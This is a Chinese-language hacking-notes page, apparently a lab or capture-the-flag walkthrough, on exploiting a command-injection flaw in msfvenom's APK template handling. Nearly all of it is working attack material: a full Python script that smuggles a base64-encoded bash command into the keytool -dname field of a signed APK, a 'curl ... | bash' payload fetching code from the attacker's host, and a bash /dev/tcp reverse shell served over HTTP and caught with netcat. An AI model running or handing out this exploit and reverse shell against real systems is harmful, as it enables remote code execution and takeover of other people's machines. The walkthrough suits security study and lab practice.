> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/cms/msfvenom-apk-exploitation.md).
# 使用 Msfvenom 制作 APK
Msfvenom APK 模板注入笔记，涵盖 keytool 命令注入、恶意 APK 生成、回连检测、反向 Shell payload 和利用投递。
## msfvenom APK 模板命令注入
在 5000 端口上识别到一个存在漏洞的服务。
搜索相关漏洞：
```bash
searchsploit -m multiple/local/49491.py
```
发现了一个潜在的基于 APK 的注入。
**利用脚本（msfvenom-exploit.py）**
```bash
python3 msfvenom-exploit.py
```
```python
#!/usr/bin/env python3
import subprocess
import tempfile
import os
from base64 import b64encode
# 修改我
payload = 'ping 10.10.14.50'
# 使用 b64encode 避免坏字符（keytool 很挑剔）
payload_b64 = b64encode(payload.encode()).decode()
dname = f"CN='|echo {payload_b64} | base64 -d | /bin/bash #"
print(f"[+] 正在制作恶意 apk 文件")
print(f"负载：{payload}")
print(f"-dname：{dname}")
print()
tmpdir = tempfile.mkdtemp()
apk_file = os.path.join(tmpdir, "evil.apk")
empty_file = os.path.join(tmpdir, "empty")
keystore_file = os.path.join(tmpdir, "signing.keystore")
storepass = keypass = "password"
key_alias = "signing.key"
# 创建空文件 empty_file
open(empty_file, "w").close()
# 创建 apk_file
subprocess.check_call(["zip", "-j", apk_file, empty_file])
# 使用恶意 -dname 生成签名密钥
subprocess.check_call(["keytool", "-genkey", "-keystore", keystore_file, "-alias", key_alias, "-storepass", storepass,
"-keypass", keypass, "-keyalg", "RSA", "-keysize", "2048", "-dname", dname])
# 使用我们的恶意 dname 对 APK 进行签名
subprocess.check_call(["jarsigner", "-sigalg", "SHA1withRSA", "-digestalg", "SHA1", "-keystore", keystore_file,
"-storepass", storepass, "-keypass", keypass, apk_file, key_alias])
print()
print(f"[+] 完成！apk 文件位于 {apk_file}")
print(f"执行：msfvenom -x {apk_file} -p android/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -o /dev/null")
```
该脚本会生成一个包含恶意 APK 的临时文件。
**ICMP 数据包分析**
监控网络活动以查找回连：
```bash
tcpdump -i tun0 icmp -n
```
### **使用 Msfvenom 进行 RCE 利用**
修改负载以建立反向连接：
```bash
# 修改我
payload = 'curl 10.10.14.50 | bash'
```
创建一个 `index.html` 包含以下内容的文件：
```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.50/443 0>&1
```
启动一个 HTTP 服务器：
```bash
python3 -m http.server 80
```
然后监听 443 端口上的连接：
```bash
nc -nlvp 443
```
一旦 APK 被发送到目标并执行，就会获得一个远程 Shell。
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